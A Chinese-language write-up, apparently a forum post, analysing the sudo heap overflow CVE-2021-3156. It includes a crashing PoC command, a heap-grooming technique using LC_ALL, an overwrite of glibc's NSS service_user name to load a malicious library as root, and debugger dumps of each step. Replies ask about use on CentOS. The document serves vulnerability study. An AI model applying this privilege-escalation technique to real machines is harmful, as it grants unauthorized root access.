CVE-2021-3156sudo堆溢出分析

环境搭建

本次复现使用ubuntu-20.04-desktop-amd64

查看sudo版本:

ivan@ubuntu:~$ sudo -V
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31

下载sudo符号表及源码并安装:

ivan@ubuntu:~$ wget http://launchpadlibrarian.net/463349800/sudo-dbgsym_1.8.31-1ubuntu1_amd64.ddeb
ivan@ubuntu:~$ sudo dpkg -i sudo-dbgsym_1.8.31-1ubuntu1_amd64.ddeb 
ivan@ubuntu:~$ wget https://github.com/sudo-project/sudo/archive/SUDO_1_8_31.tar.gz
ivan@ubuntu:~$ tar -xvf SUDO_1_8_31.tar.gz

这里注意符号表只能手动安装,若使用apt安装会自动更新sudo无法继续调试漏洞。

下载glibc源码:

ivan@ubuntu:~$ sudo apt-get install glibc-source
ivan@ubuntu:/usr/src/glibc$ tar -xvf glibc-2.31.tar.xz

漏洞原理

触发漏洞的条件是当Sudo在shell模式下运行,且通过 -s 或 -i 选项设置Sudo内 MODE_SHELL为True。

main()函数调用parse_args()时,该函数将所有命令行参数重写,并使用反斜杠转义元字符:

//src/parse_args.c:L571
/*
* For shell mode we need to rewrite argv
*/
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
    ...
	if (argc != 0) {
	    /* shell -c "command" */
	    char *src, *dst;
	    size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
		strlen(argv[argc - 1]) + 1;

	    cmnd = dst = reallocarray(NULL, cmnd_size, 2);
        ...
	    for (av = argv; *av != NULL; av++) {
		for (src = *av; *src != '\0'; src++) {
		    /* quote potential meta characters */
		    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
			*dst++ = '\\';
		    *dst++ = *src;
		}
		*dst++ = ' ';
	    }
	    if (cmnd != dst)
		dst--;  /* replace last space with a NUL */
	    *dst = '\0';

	    ac += 2; /* -c cmnd */
	}
    av = reallocarray(NULL, ac + 1, sizeof(char *));
    ...
}

之后main()函数调用 policy_check() 经过sudoers_policy_check()sudoers_policy_main(),在set_cmnd()函数将命令行参数放入堆缓冲区user_args 并解转义非空格字符进行sudoers匹配和记录:

//plugin/sudoers/sudoers.c:L819
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
    //plugin/sudoers/sudoers.c:L852
    /* Alloc and build up user_args. */
    for (size = 0, av = NewArgv + 1; *av; av++)
        size += strlen(*av) + 1;
    if (size == 0 || (user_args = malloc(size)) == NULL) {
        ...
    }
    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
        /*
             * When running a command via a shell, the sudo front-end
             * escapes potential meta chars.  We unescape non-spaces
             * for sudoers matching and logging purposes.
             */
        for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
            while (*from) {
                if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                    from++;
                *to++ = *from++;
            }
            *to++ = ' ';
        }
        *--to = '\0';
    }
...
}

此时若from[0]\并且from[1]是NULL结束字符(不为空格),因此进入if条件 from++后此时指向NULL结束字符,而下一行from++指向下个字符串开头,若该字符串存在,则继续这个while循环,因此造成了堆溢出。通过动态调试可见,程序越界读取\后的“AAAAA....”字符,进入下一轮while循环:

[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x41              
$rbx   : 0x0000555555596e40  →  0x00007ffffffee82f  →  0x414141414141005c 
$rcx   : 0x0               
$rdx   : 0x00007ffff749a1ac  →  0x0002000200020002
$rsp   : 0x00007ffffffee220  →  0x00007ffffffee5d0  →  0x00005555555748ce  →  "sudoedit"
$rbp   : 0x0000555555596e81  →  0x0000000000000000
$rsi   : 0x10014           
$rdi   : 0x1               
$rip   : 0x00007ffff6e5aa71  →  <sudoers_policy_main+3137> jne 0x7ffff6e5aa3d <sudoers_policy_main+3085>
$r8    : 0x00007ffff7c8bb30  →  0x00007ffff749a1ac  →  0x0002000200020002
$r9    : 0x00007ffff7f3c1e0  →  0x00007ffff7f3c1d0  →  0x00007ffff7f3c1c0  →  0x00007ffff7f3c1b0  →  0x00007ffff7f3c1a0  →  0x00007ffff7f3c190  →  0x00007ffff7f3c180  →  0x00007ffff7f3c170
$r10   : 0x00005555555a0000  →  0x0000000000000000
$r11   : 0xfffffffffffff000
$r12   : 0x0               
$r13   : 0x00007ffffffee260  →  0xffffffffffffffff
$r14   : 0x00007ffffffee830  →  0x4141414141414100
$r15   : 0x00007ffffffee831  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffffffee220│+0x0000: 0x00007ffffffee5d0  →  0x00005555555748ce  →  "sudoedit"	 ← $rsp
0x00007ffffffee228│+0x0008: 0x00007fff00000000
0x00007ffffffee230│+0x0010: 0x00007fff00020002
0x00007ffffffee238│+0x0018: 0x0000000000000000
0x00007ffffffee240│+0x0020: 0x0000003000000000
0x00007ffffffee248│+0x0028: 0x00007ffffffee2e0  →  0x00007ffffffee360  →  0x0000000000000000
0x00007ffffffee250│+0x0030: 0x00007ffffffee260  →  0xffffffffffffffff
0x00007ffffffee258│+0x0038: 0x0000000000000000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff6e5aa67 <sudoers_policy_main+3127> add    rbp, 0x1
   0x7ffff6e5aa6b <sudoers_policy_main+3131> add    r15, 0x2
   0x7ffff6e5aa6f <sudoers_policy_main+3135> test   al, al
 → 0x7ffff6e5aa71 <sudoers_policy_main+3137> jne    0x7ffff6e5aa3d <sudoers_policy_main+3085>	TAKEN [Reason: !Z]
   ↳  0x7ffff6e5aa3d <sudoers_policy_main+3085> lea    r14, [r15+0x1]
      0x7ffff6e5aa41 <sudoers_policy_main+3089> cmp    al, 0x5c
      0x7ffff6e5aa43 <sudoers_policy_main+3091> jne    0x7ffff6e5aa20 <sudoers_policy_main+3056>
      0x7ffff6e5aa45 <sudoers_policy_main+3093> call   0x7ffff6e3fa40 <__ctype_b_loc@plt>
      0x7ffff6e5aa4a <sudoers_policy_main+3098> movzx  ecx, BYTE PTR [r15+0x1]
      0x7ffff6e5aa4f <sudoers_policy_main+3103> mov    r8, rax
─────────────────────────────────────────────────────────────────────────────────────────── source:../../../plugin[...].c+868 ────
    863	 		 */
●   864	 		for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
    865	 		    while (*from) {
    866	 			if (from[0] == '\\' && !isspace((unsigned char)from[1]))
    867	 			    from++;
 →  868	 			*to++ = *from++;
    869	 		    }
    870	 		    *to++ = ' ';
    871	 		}
    872	 		*--to = '\0';
    873	 	    } else {
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sudoedit", stopped 0x7ffff6e5aa71 in set_cmnd (), reason: SINGLE STEP
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff6e5aa71 → set_cmnd()
[#1] 0x7ffff6e5aa71 → sudoers_policy_main(argc=0x3, argv=0x7ffffffee5d0, pwflag=0x0, env_add=0x0, verbose=0x0, closure=0x7ffffffee2e0)
[#2] 0x7ffff6e533ca → sudoers_policy_check(argc=0x3, argv=0x7ffffffee5d0, env_add=0x0, command_infop=0x7ffffffee358, argv_out=0x7ffffffee360, user_env_out=0x7ffffffee368)
[#3] 0x55555555af26 → policy_check(plugin=0x55555557e7e0 <policy_plugin>, user_env_out=0x7ffffffee368, argv_out=0x7ffffffee360, command_info=0x7ffffffee358, env_add=0x0, argv=0x7ffffffee5d0, argc=0x3)
[#4] 0x55555555af26 → main(argc=<optimized out>, argv=<optimized out>, envp=0x7ffffffee5f0)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

关于如何执行到漏洞点即:是否可以同时设置 MODE_SHELLMODE_EDIT/ MODE_CHECK 并且不使用默认设置MODE_RUN去执行sudo。这引出了第二个漏洞点,首先正常情况下设置 MODE_EDIT的同时都会将MODE_SHELLvalid_flags中移除:

//src/parse_args.c:L358	
case 'e':
    if (mode && mode != MODE_EDIT)
        usage_excl(1);
    mode = MODE_EDIT;
    sudo_settings[ARG_SUDOEDIT].value = "true";
    valid_flags = MODE_NONINTERACTIVE;
    break;

但当使用sudoedit这个命令时,在设置MODE_EDIT后并没有重置valid_flags,而该参数初始化时默认设置了MODE_SHELL

//src/parse_args.c:L127
#define DEFAULT_VALID_FLAGS	(MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
//src/parse_args.c:L249
    int valid_flags = DEFAULT_VALID_FLAGS;
//src/parse_args.c:L266
    /* First, check to see if we were invoked as "sudoedit". */
    proglen = strlen(progname);
    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
	progname = "sudoedit";
	mode = MODE_EDIT;
	sudo_settings[ARG_SUDOEDIT].value = "true";
    }

poc如下:

ivan@ubuntu:~$ sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)

漏洞利用

Qualys团队在openwall中提供的分析[1]中提到了三种利用思路,本文只对第二种利用方式进行详细分析。

在分析利用思路前首先需要了解locale,以及NSS的相关概念及实现。

区域设置(locale)是表达程序用户地区方面的软件设定(语言、日期格式等)。在UNIX下,通常通过环境变量来控制区域设置。这些环境变量包括:LC_ALL, LC_CTYPE, LC_TIME, 等等。命名规则如下:

 language[_territory[.codeset]][@modifier]

其中language是ISO 639-1标准中定义的双字母的语言代码,territory是ISO 3166-1标准中定义的双字母的国家和地区代码,codeset是字符集的名称 (如 UTF-8等),而 modifier 则是某些 locale 变体的修正符。通常使用setlocale()函数对程序进行地域设置。

NSS(Name Service Switch)是用来解析用户ID登录名称、IP地址转换为主机名等。相关配置文件存储在/etc/nsswitch.conf

ivan@ubuntu:~$ cat /etc/nsswitch.conf 
...
passwd:         files systemd
group:          files systemd
shadow:         files
gshadow:        files
...

针对每种数据库(配置文件第一行)都定义了查找方法的服务规范,在GNU C Library里, 每个可用的服务规范(SERVICE)都必须有文件 /lib/libnss_SERVICE.so.1 与之对应,例如:group数据库定义了服务规范files、systemd ,在调用getgroup()函数时就会调用/lib/libnss_files.so.1nss_lookup_function进行查找。

下面介绍利用过程,简单来说该利用方式是利用设置locale环境变量控制处理该环境变量堆块的大小进行占位,之后通过申请到service_user结构体上方附近堆块进行覆写,将name字段替换成预先设置的恶意libc名称从而完成提权。

首先设置LC_ALL环境变量,通过修改modifier字段的长度控制之后存储LC_ALL变量的堆块大小,此处需注意,若territory或codeset不存在则会影响setlocale执行流程从而无法达到预期的堆布局。在sudo.c: 154处的setlocale函数对环境变量进行预处理后,在sudo.c: 169的sudo_conf_read函数内的setlocale函数中为LC_ALL申请内存空间,调用栈如下:

[#0] 0x7ffff7dea52c → _int_malloc(av=0x7ffff7f3ab80 <main_arena>, bytes=0xdd)
[#1] 0x7ffff7dec2d4 → __GI___libc_malloc(bytes=0xdd)
[#2] 0x7ffff7d826ac → new_composite_name(category=0x6, newnames=0x7fffffffe4f0)
[#3] 0x7ffff7d82e58 → __GI_setlocale(locale=0x555555581bb0 "C.UTF-8@", 'A' <repeats 212 times>, category=0xffffffff)
[#4] 0x7ffff7d82e58 → __GI_setlocale(category=0x6, locale=0x555555589060 "C.UTF-8@", 'A' <repeats 212 times>)
[#5] 0x7ffff7f4d471 → sudo_conf_read_v1(conf_file=<optimized out>, conf_types=0x1)
[#6] 0x55555555ac75 → main(argc=0x7, argv=0x7fffffffe9c8, envp=0x7fffffffea08)

之后在sudo.c: 191 get_user_info函数获取用户信息时初始化file,systemd服务规范的service_user结构体空间,调用栈如下:

[#0] 0x7ffff7edd714 → __memmove_avx_unaligned_erms()
[#1] 0x7ffff7e95172 → nss_parse_service_list(line=0x555555589365 " systemd")
[#2] 0x7ffff7e95bcc → nss_getline(line=<optimized out>)
[#3] 0x7ffff7e95bcc → nss_parse_file(fname=0x7ffff7f09714 "/etc/nsswitch.conf")
[#4] 0x7ffff7e95bcc → __GI___nss_database_lookup2(database=0x7ffff7f09727 "passwd", alternate_name=0x0, defconfig=0x7ffff7f0c690 "compat [NOTFOUND=return] files", ni=0x7ffff7f3f738 <__nss_passwd_database>)
[#5] 0x7ffff7e97c7c → __GI___nss_passwd_lookup2(ni=0x7fffffffd648, fct_name=0x7ffff7f07a7c "getpwuid_r", fct2_name=0x0, fctp=0x7fffffffd650)
[#6] 0x7ffff7e3464b → __getpwuid_r(uid=0x0, resbuf=0x7ffff7f3e180 <resbuf>, buffer=0x55555557f500 "", buflen=0x400, result=0x7fffffffd6a0)
[#7] 0x7ffff7e33b4b → getpwuid(uid=0x0)
[#8] 0x55555556bb0a → get_user_info(ud=0x55555557e760 <user_details>)
[#9] 0x55555555acfd → main(argc=0x7, argv=0x7fffffffe9c8, envp=0x7fffffffea08)

service_user结构体实现如下:

//nss/nsswitch.h#L61
typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

通过阅读nss_load_library函数实现可知:当 ni->library==NULL时,会通过__libc_dlopen调用 "libnss_"+ni->name+".so";目标是通过溢出覆写service_user->name,使得程序加载攻击者预先设置的恶意libc从而提权。

 //nss/nsswitch.c#L328
  if (ni->library == NULL)
    {
      /* This service has not yet been used.  Fetch the service
	 library for it, creating a new one if need be.  If there
	 is no service table from the file, this static variable
	 holds the head of the service_library list made from the
	 default configuration.  */
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
				     ni->name);
      if (ni->library == NULL)
	return -1;
    }

  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
		      + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
					      "libnss_"),
				    ni->name),
			  ".so"),
		__nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);

运行到漏洞触发前为user_args申请内存空间位置,可见接下来要利用漏洞进行溢出的堆块恰好在file,systemd服务规范service_user结构体上方:

[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0000555555589350  →  0x0000000000000000
$rbx   : 0x000055555558dc90  →  0x00007fffffffeda8  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rcx   : 0x000055555557f01c  →  0x0000000000000000
$rdx   : 0x0               
$rsp   : 0x00007fffffffe620  →  0x00007fffffffe9e0  →  0x00005555555748ce  →  "sudoedit"
$rbp   : 0x000055555558dca8  →  0x0000000000000000
$rsi   : 0x0               
$rdi   : 0x74              
$rip   : 0x00007ffff6ca3138  →  0x480003ddd1058948
$r8    : 0x0000555555589350  →  0x0000000000000000
$r9    : 0x00005555555982a0  →  0x0000000000000800
$r10   : 0x000055555557f010  →  0x0002000000010002
$r11   : 0x00007ffff7f3abe0  →  0x000055555559f250  →  0x0000000000000000
$r12   : 0x0               
$r13   : 0x00007fffffffe660  →  0xffffffffffffffff
$r14   : 0x74              
$r15   : 0x000055555558dc88  →  0x00005555555748ce  →  "sudoedit"
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe620│+0x0000: 0x00007fffffffe9e0  →  0x00005555555748ce  →  "sudoedit"	 ← $rsp
0x00007fffffffe628│+0x0008: 0x00007fff00000000
0x00007fffffffe630│+0x0010: 0x00007fff00020002
0x00007fffffffe638│+0x0018: 0x0000000000000000
0x00007fffffffe640│+0x0020: 0x0000003000000000
0x00007fffffffe648│+0x0028: 0x00007fffffffe6e0  →  0x00007fffffffe760  →  0x0000000000000000
0x00007fffffffe650│+0x0030: 0x00007fffffffe660  →  0xffffffffffffffff
0x00007fffffffe658│+0x0038: 0x0000000000000000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff6ca312a <sudoers_policy_main+762> je     0x7ffff6ca3f40 <sudoers_policy_main+4368>
   0x7ffff6ca3130 <sudoers_policy_main+768> mov    rdi, r14
   0x7ffff6ca3133 <sudoers_policy_main+771> call   0x7ffff6c884d0 <malloc@plt>
 → 0x7ffff6ca3138 <sudoers_policy_main+776> mov    QWORD PTR [rip+0x3ddd1], rax        # 0x7ffff6ce0f10 <sudo_user+112>
   0x7ffff6ca313f <sudoers_policy_main+783> mov    rbp, rax
   0x7ffff6ca3142 <sudoers_policy_main+786> test   rax, rax
   0x7ffff6ca3145 <sudoers_policy_main+789> je     0x7ffff6ca3f40 <sudoers_policy_main+4368>
   0x7ffff6ca314b <sudoers_policy_main+795> mov    eax, DWORD PTR [rip+0x3dd3f]        # 0x7ffff6ce0e90 <sudo_mode>
   0x7ffff6ca3151 <sudoers_policy_main+801> mov    r15, QWORD PTR [r15+0x8]
─────────────────────────────────────────────────────────────────────────────────────────────── source:../../../plugin[...].c+854 ────
    849	 	    size_t size, n;
    850	 
    851	 	    /* Alloc and build up user_args. */
    852	 	    for (size = 0, av = NewArgv + 1; *av; av++)
    853	 		size += strlen(*av) + 1;
●→  854	 	    if (size == 0 || (user_args = malloc(size)) == NULL) {
    855	 		sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
    856	 		debug_return_int(-1);
    857	 	    }
    858	 	    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
    859	 		/*
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sudoedit", stopped 0x7ffff6ca3138 in set_cmnd (), reason: SINGLE STEP
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff6ca3138 → set_cmnd()
[#1] 0x7ffff6ca3138 → sudoers_policy_main(argc=0x4, argv=0x7fffffffe9e0, pwflag=0x0, env_add=0x0, verbose=0x0, closure=0x7fffffffe6e0)
[#2] 0x7ffff6c9c3ca → sudoers_policy_check(argc=0x4, argv=0x7fffffffe9e0, env_add=0x0, command_infop=0x7fffffffe758, argv_out=0x7fffffffe760, user_env_out=0x7fffffffe768)
[#3] 0x55555555af26 → policy_check(plugin=0x55555557e7e0 <policy_plugin>, user_env_out=0x7fffffffe768, argv_out=0x7fffffffe760, command_info=0x7fffffffe758, env_add=0x0, argv=0x7fffffffe9e0, argc=0x4)
[#4] 0x55555555af26 → main(argc=<optimized out>, argv=<optimized out>, envp=0x7fffffffea08)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ hexdump byte $rax-0x10 0x120
0x0000555555589340     30 00 00 00 00 00 00 00 81 00 00 00 00 00 00 00    0...............
0x0000555555589350     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0x0000555555589360     69 6e 00 00 33 00 00 73 6f 6c 76 2e 63 6f 6e 66    in..3..solv.conf
0x0000555555589370     2e 0a 00 38 29 20 66 6f 72 20 64 65 74 61 69 6c    ...8) for detail
0x0000555555589380     73 20 61 62 6f 75 74 20 74 68 65 20 73 75 70 70    s about the supp
0x0000555555589390     6f 72 74 65 64 20 6d 6f 64 65 73 20 6f 66 0a 00    orted modes of..
0x00005555555893a0     00 6f dc a0 00 00 00 00 41 84 a9 90 00 00 00 00    .o......A.......
0x00005555555893b0     42 4f be a0 00 00 00 00 43 64 8b 90 00 00 00 00    BO......Cd......
0x00005555555893c0     44 2f a0 a0 00 00 00 00 41 00 00 00 00 00 00 00    D/......A.......
0x00005555555893d0     10 94 58 55 55 55 00 00 00 00 00 00 00 00 00 00    ..XUUU..........
0x00005555555893e0     00 00 00 00 01 00 00 00 01 00 00 00 55 55 00 00    ............UU..
0x00005555555893f0     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0x0000555555589400     66 69 6c 65 73 00 00 00 41 00 00 00 00 00 00 00    files...A.......
0x0000555555589410     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0x0000555555589420     00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00    ................
0x0000555555589430     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0x0000555555589440     73 79 73 74 65 6d 64 00 21 00 00 00 00 00 00 00    systemd.!.......
0x0000555555589450     b0 94 58 55 55 55 00 00 70 94 58 55 55 55 00 00    ..XUUU..p.XUUU..

溢出时因为要求ni->library==NULL需要写入\x00,这里可以利用漏洞写入多个\\\x00,达到目的。

溢出后可见成功用X/P0P_SH3LLZ_ 覆写了file服务规范的name字段:

gef➤  hexdump byte 0x0000555555589350-0x10 0x120
0x0000555555589340     30 00 00 00 00 00 00 00 81 00 00 00 00 00 00 00    0...............
0x0000555555589350     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41    AAAAAAAAAAAAAAAA
0x0000555555589360     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41    AAAAAAAAAAAAAAAA
0x0000555555589370     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41    AAAAAAAAAAAAAAAA
0x0000555555589380     41 41 41 41 41 41 41 41 00 00 42 42 42 42 42 42    AAAAAAAA..BBBBBB
0x0000555555589390     42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42    BBBBBBBBBBBBBBBB
0x00005555555893a0     42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42    BBBBBBBBBBBBBBBB
0x00005555555893b0     42 42 42 42 42 42 42 42 42 42 31 32 33 34 35 36    BBBBBBBBBB123456
0x00005555555893c0     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0x00005555555893d0     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0x00005555555893e0     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0x00005555555893f0     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0x0000555555589400     58 2f 50 30 50 5f 53 48 33 4c 4c 5a 5f 20 00 42    X/P0P_SH3LLZ_ .B
0x0000555555589410     42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42    BBBBBBBBBBBBBBBB
0x0000555555589420     42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42    BBBBBBBBBBBBBBBB
0x0000555555589430     42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 31    BBBBBBBBBBBBBBB1
0x0000555555589440     32 33 34 35 36 00 00 00 00 00 00 00 00 00 00 00    23456...........
0x0000555555589450     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................

继续运行可见成功调用修改的libnss_X/P0P_SH3LLZ_ .so.2:

 Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffde45  →  0xfff700322e6f732e (".so.2"?)
$rbx   : 0x0000555555585fb0  →  0x0000555555589400  →  "X/P0P_SH3LLZ_ "
$rcx   : 0x322e            
$rdx   : 0xe               
$rsp   : 0x00007fffffffde30  →  "libnss_X/P0P_SH3LLZ_ .so.2"
$rbp   : 0x00007fffffffdea0  →  0x00007fffffffdf00  →  0x0000000000000000
$rsi   : 0x80000002        
$rdi   : 0x00007fffffffde30  →  "libnss_X/P0P_SH3LLZ_ .so.2"
$rip   : 0x00007ffff7e95627  →  <nss_load_library+359> call 0x7ffff7eb1930 <__GI___libc_dlopen_mode>
$r8    : 0x0000555555585fb0  →  0x0000555555589400  →  "X/P0P_SH3LLZ_ "
$r9    : 0x205f5a4c4c3348  
$r10   : 0x1b              
$r11   : 0x00007ffff7f3abe0  →  0x000055555559f250  →  0x0000000000000000
$r12   : 0x00005555555893d0  →  0x0000000000000000
$r13   : 0x0000555555589400  →  "X/P0P_SH3LLZ_ "
$r14   : 0x00007fffffffde50  →  0x00007ffff7f0636a  →  0x6225206125000200
$r15   : 0x16              
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde30│+0x0000: "libnss_X/P0P_SH3LLZ_ .so.2"	 ← $rsp, $rdi
0x00007fffffffde38│+0x0008: "/P0P_SH3LLZ_ .so.2"
0x00007fffffffde40│+0x0010: "LLZ_ .so.2"
0x00007fffffffde48│+0x0018: 0x00007ffff700322e  →  0x7af901037af10103
0x00007fffffffde50│+0x0020: 0x00007ffff7f0636a  →  0x6225206125000200	 ← $r14
0x00007fffffffde58│+0x0028: 0x000000000000001b
0x00007fffffffde60│+0x0030: 0x0000000000000000
0x00007fffffffde68│+0x0038: 0x7df0074d68344000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7e95619 <nss_load_library+345> mov    DWORD PTR [rax], 0x6f732e
   0x7ffff7e9561f <nss_load_library+351> mov    BYTE PTR [rax+0x5], 0x0
   0x7ffff7e95623 <nss_load_library+355> mov    WORD PTR [rax+0x3], cx
 → 0x7ffff7e95627 <nss_load_library+359> call   0x7ffff7eb1930 <__GI___libc_dlopen_mode>
   ↳  0x7ffff7eb1930 <__libc_dlopen_mode+0> endbr64 
      0x7ffff7eb1934 <__libc_dlopen_mode+4> sub    rsp, 0x58
      0x7ffff7eb1938 <__libc_dlopen_mode+8> mov    rax, QWORD PTR fs:0x28
      0x7ffff7eb1941 <__libc_dlopen_mode+17> mov    QWORD PTR [rsp+0x48], rax
      0x7ffff7eb1946 <__libc_dlopen_mode+22> xor    eax, eax
      0x7ffff7eb1948 <__libc_dlopen_mode+24> mov    rax, QWORD PTR [rsp+0x58]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments ────
__GI___libc_dlopen_mode (
   QWORD var_0 = 0x00007fffffffde30 → "libnss_X/P0P_SH3LLZ_ .so.2",
   int var_1 = 0x0000000080000002
)
─────────────────────────────────────────────────────────────────────────────────────────────────────────── source:nsswitch.c+359 ────
    354	 					      "libnss_"),
    355	 				    ni->name),
    356	 			  ".so"),
    357	 		__nss_shlib_revision);
    358	 
 →  359	       ni->library->lib_handle = __libc_dlopen (shlib_name);
    360	       if (ni->library->lib_handle == NULL)
    361	 	{
    362	 	  /* Failed to load the library. Try a fallback.  */
    363	 	  int n = __snprintf(shlib_name, shlen, "libnss_%s.so.%d.%d",
    364	 			   ni->library->name, __GLIBC__, __GLIBC_MINOR__);
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sudoedit", stopped 0x7ffff7e95627 in nss_load_library (), reason: SINGLE STEP
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7e95627 → nss_load_library(ni=0x5555555893d0)
[#1] 0x7ffff7e95ed9 → __GI___nss_lookup_function(ni=0x5555555893d0, fct_name=<optimized out>)
[#2] 0x7ffff7e3113f → internal_getgrouplist(user=0x55555558f8b8 "root", group=0x0, size=0x7fffffffdf88, groupsp=0x7fffffffdf90, limit=0xffffffffffffffff)
[#3] 0x7ffff7e313ed → getgrouplist(user=0x55555558f8b8 "root", group=0x0, groups=0x7ffff6c2d010, ngroups=0x7fffffffdfe4)
[#4] 0x7ffff7f49e16 → sudo_getgrouplist2_v1(name=0x55555558f8b8 "root", basegid=0x0, groupsp=0x7fffffffe040, ngroupsp=0x7fffffffe03c)
[#5] 0x7ffff6cb9d63 → sudo_make_gidlist_item(pw=0x55555558f888, unused1=<optimized out>, type=0x1)
[#6] 0x7ffff6cb8b0e → sudo_get_gidlist(pw=0x55555558f888, type=0x1)
[#7] 0x7ffff6cb286d → runas_getgroups()
[#8] 0x7ffff6c9fd32 → runas_setgroups()
[#9] 0x7ffff6c9fd32 → set_perms(perm=0x5)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

总结

一开始在尝试写利用的时候一直是以释放LC_ALL变量堆块来占位到service_user结构体上方为目标来进行编写,然而在调试时发现进行占位的堆块并不是LC_ALL变量的堆块;在阅读Qualys的报告时注意到,在寻找利用点时使用了fuzz的方法,找到了三个较为稳定的利用点,这种寻找利用点的思路在今后可以借鉴;与locale相关的提权利用加上这个漏洞已经有两个了,上一个是 CVE-2018-1000001[5],这两个漏洞体现出来的用户态提权模式值得探索。

参考链接

[1] oss-security - Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156)
[2] CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit) | Qualys Security Blog
[3] linux中 nsswitch.conf的讲解-阿里云开发者社区
[4] nsswitch.c - nss/nsswitch.c - Glibc source code (glibc-2.31) - Bootlin
[5] Libc Realpath Buffer Underflow
[6] CVE-2021-3156/hax.c at main · blasty/CVE-2021-3156 · GitHub
[7] sudo-dbgsym : Focal (20.04) : Ubuntu

1 个赞

centos能利用不?公开的exp都是基于ubuntu

同求大佬,centos能利用吗?

可以,centos6默认受影响,7以上看sudo版本

